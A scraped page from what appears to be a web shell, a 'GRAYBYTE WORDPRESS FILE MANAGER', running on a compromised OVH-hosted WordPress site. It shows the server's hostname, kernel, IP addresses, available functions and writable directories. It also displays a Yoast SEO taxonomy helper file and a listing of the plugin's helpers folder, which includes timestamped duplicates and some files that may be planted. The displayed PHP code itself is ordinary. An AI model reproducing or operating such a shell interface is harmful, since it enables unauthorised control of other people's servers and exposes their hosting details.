✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.14
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/envhttps/task-list/helpers//taxonomy-helper.php
<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Taxonomy;
use WP_Term;
use WPSEO_Taxonomy_Meta;

/**
 * A helper object for terms.
 */
class Taxonomy_Helper {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The string helper.
	 *
	 * @var String_Helper
	 */
	private $string;

	/**
	 * Taxonomy_Helper constructor.
	 *
	 * @codeCoverageIgnore It only sets dependencies.
	 *
	 * @param Options_Helper $options       The options helper.
	 * @param String_Helper  $string_helper The string helper.
	 */
	public function __construct( Options_Helper $options, String_Helper $string_helper ) {
		$this->options = $options;
		$this->string  = $string_helper;
	}

	/**
	 * Checks if the requested term is indexable.
	 *
	 * @param string $taxonomy The taxonomy slug.
	 *
	 * @return bool True when taxonomy is set to index.
	 */
	public function is_indexable( $taxonomy ) {
		return ! $this->options->get( 'noindex-tax-' . $taxonomy, false );
	}

	/**
	 * Returns an array with the public taxonomies.
	 *
	 * @param string $output The output type to use.
	 *
	 * @return string[]|WP_Taxonomy[] Array with all the public taxonomies.
	 *                                The type depends on the specified output variable.
	 */
	public function get_public_taxonomies( $output = 'names' ) {
		return \get_taxonomies( [ 'public' => true ], $output );
	}

	/**
	 * Retrieves the term description (without tags).
	 *
	 * @param int $term_id Term ID.
	 *
	 * @return string Term description (without tags).
	 */
	public function get_term_description( $term_id ) {
		return $this->string->strip_all_tags( \term_description( $term_id ) );
	}

	/**
	 * Retrieves the taxonomy term's meta values.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @param WP_Term $term Term to get the meta value for.
	 *
	 * @return array|bool Array of all the meta data for the term.
	 *                    False if the term does not exist or the $meta provided is invalid.
	 */
	public function get_term_meta( $term ) {
		return WPSEO_Taxonomy_Meta::get_term_meta( $term, $term->taxonomy, null );
	}

	/**
	 * Gets the passed taxonomy's slug.
	 *
	 * @param string $taxonomy The name of the taxonomy.
	 *
	 * @return string The slug for the taxonomy. Returns the taxonomy's name if no slug could be found.
	 */
	public function get_taxonomy_slug( $taxonomy ) {
		$taxonomy_object = \get_taxonomy( $taxonomy );

		if ( $taxonomy_object && \property_exists( $taxonomy_object, 'rewrite' ) && \is_array( $taxonomy_object->rewrite ) && isset( $taxonomy_object->rewrite['slug'] ) ) {
			return $taxonomy_object->rewrite['slug'];
		}

		return \strtolower( $taxonomy_object->name );
	}

	/**
	 * Returns an array with the custom taxonomies.
	 *
	 * @param string $output The output type to use.
	 *
	 * @return string[]|WP_Taxonomy[] Array with all the custom taxonomies.
	 *                                The type depends on the specified output variable.
	 */
	public function get_custom_taxonomies( $output = 'names' ) {
		return \get_taxonomies( [ '_builtin' => false ], $output );
	}

	/**
	 * Returns an array of taxonomies that are excluded from being indexed for the
	 * indexables.
	 *
	 * @return array The excluded taxonomies.
	 */
	public function get_excluded_taxonomies_for_indexables() {
		/**
		 * Filter: 'wpseo_indexable_excluded_taxonomies' - Allow developers to prevent a certain taxonomy
		 * from being saved to the indexable table.
		 *
		 * @param array $excluded_taxonomies The currently excluded taxonomies.
		 */
		$excluded_taxonomies = \apply_filters( 'wpseo_indexable_excluded_taxonomies', [] );

		// Failsafe, to always make sure that `excluded_taxonomies` is an array.
		if ( ! \is_array( $excluded_taxonomies ) ) {
			return [];
		}

		return $excluded_taxonomies;
	}

	/**
	 * Checks if the taxonomy is excluded.
	 *
	 * @param string $taxonomy The taxonomy to check.
	 *
	 * @return bool If the taxonomy is excluded.
	 */
	public function is_excluded( $taxonomy ) {
		return \in_array( $taxonomy, $this->get_excluded_taxonomies_for_indexables(), true );
	}

	/**
	 * This builds a list of indexable taxonomies.
	 *
	 * @return array The indexable taxonomies.
	 */
	public function get_indexable_taxonomies() {
		$public_taxonomies   = $this->get_public_taxonomies();
		$excluded_taxonomies = $this->get_excluded_taxonomies_for_indexables();

		// `array_values`, to make sure that the keys are reset.
		return \array_values( \array_diff( $public_taxonomies, $excluded_taxonomies ) );
	}

	/**
	 * Returns an array of complete taxonomy objects for all indexable taxonomies.
	 *
	 * @return array List of indexable indexables objects.
	 */
	public function get_indexable_taxonomy_objects() {
		$taxonomy_objects     = [];
		$indexable_taxonomies = $this->get_indexable_taxonomies();
		foreach ( $indexable_taxonomies as $taxonomy ) {
			$taxonomy_object = \get_taxonomy( $taxonomy );
			if ( ! empty( $taxonomy_object ) ) {
				$taxonomy_objects[ $taxonomy ] = $taxonomy_object;
			}
		}

		return $taxonomy_objects;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
21 Sep 2026 5.27 PM
docteuh / users
0755
open-graph
--
30 Aug 2026 9.44 PM
docteuh / users
0755
schema
--
4 Sep 2026 2.28 AM
docteuh / users
0755
twitter
--
28 Aug 2026 10.25 PM
docteuh / users
0755
admin-conditional.php
0.323 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aioseo-helper-20260828152248.php
1.236 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aioseo-helper.php
1.236 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
asset-helper.php
2.512 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
attachment-cleanup-helper.php
2.24 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
author-archive-helper.php
5.249 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
blocks-helper.php
2.322 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
breadcrumbs-generator-20260831085222.php
12.619 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
breadcrumbs-generator.php
12.619 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
capability-helper.php
2.066 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-admin.php
12.73 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
crawl-cleanup-helper.php
8.1 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
curl-helper-20260828152243.php
0.64 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
curl-helper.php
0.64 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
current-page-helper.php
15.633 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
environment-helper.php
0.774 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
feature-flag-integration.php
2.932 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
first-time-configuration-notice-helper.php
5.357 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
home-url-helper.php
0.665 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
image-helper.php
11.691 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
import-cursor-helper.php
1.359 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
import-helper.php
0.699 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
indexable-helper.php
9.237 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
indexable-to-postmeta-helper.php
6.751 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
indexing-helper.php
12.688 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
integration-interface-20260831021530.php
0.416 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
integration-interface.php
0.416 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
language-helper.php
2.652 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
loadable-interface.php
0.279 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
loader.php
6.886 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
lock-helper.php
2.84 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
meta-helper.php
2.912 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
notification-helper.php
2.009 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
options-helper.php
4.646 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
pagination-helper.php
5.679 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
permalink-helper.php
1.603 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
post-helper-20260828152252.php
5.423 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
post-helper.php
5.423 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
post-type-helper.php
7.178 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
primary-term-helper.php
1.365 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
product-helper.php
1.077 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
redirect-helper.php
1.727 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
require-file-helper.php
0.318 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
robots-helper.php
1.735 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
route-helper.php
0.678 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
sanitization-helper.php
1.031 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-helpers-surface.php
2.85 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
score-icon-helper.php
2.779 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
site-helper.php
0.553 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
social-profiles-helper.php
10.733 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
string-helper.php
1.189 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
taxonomy-helper.php
4.98 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
url-helper.php
8.129 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
user-helper.php
3.932 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wincher-helper.php
2.509 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
woocommerce-helper.php
1.271 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wordpress-helper-20260828152308.php
0.5 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wordpress-helper.php
0.5 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wp-seo-main.php
17.215 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
wpdb-helper.php
0.915 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wpml-config.xml
2.081 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
xmlrpc-conditional.php
0.429 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF